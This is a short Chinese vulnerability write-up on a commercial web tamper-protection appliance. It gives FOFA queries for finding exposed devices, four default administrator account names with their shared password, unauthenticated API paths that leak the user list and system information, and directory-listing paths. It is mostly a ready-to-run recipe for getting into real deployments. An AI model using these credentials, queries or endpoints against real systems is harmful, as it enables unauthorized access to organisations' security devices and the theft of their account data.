Toggle source

网御星云-网页防篡改系统多个漏洞

漏洞描述

网御星云网页防篡改系统，没啥好介绍的都懂，就是网页被篡改后能自动恢复的设备，存在弱口令，未授权信息泄露，遍历等漏洞。

漏洞影响

网御星云网页防篡改系统

FOFA

title = "网御web应用安全防护系统v3.0"

title = "网页防篡改系统"

漏洞复现

弱口令：

super(超级管理员)

admin(系统管理员)

operator(操作员)

viewer(审查员)

密码都是：Admin%100

未授权信息泄露：

报错界面暴露接口地址

URL+/API/

1

账号信息泄露

URL+/API/user/list

2

系统信息泄露

URL+/API/system_info/list

3

还可以进行目录遍历：

URL+/doc/
URL+/images/
URL+/audio/
URL+/fonts/

4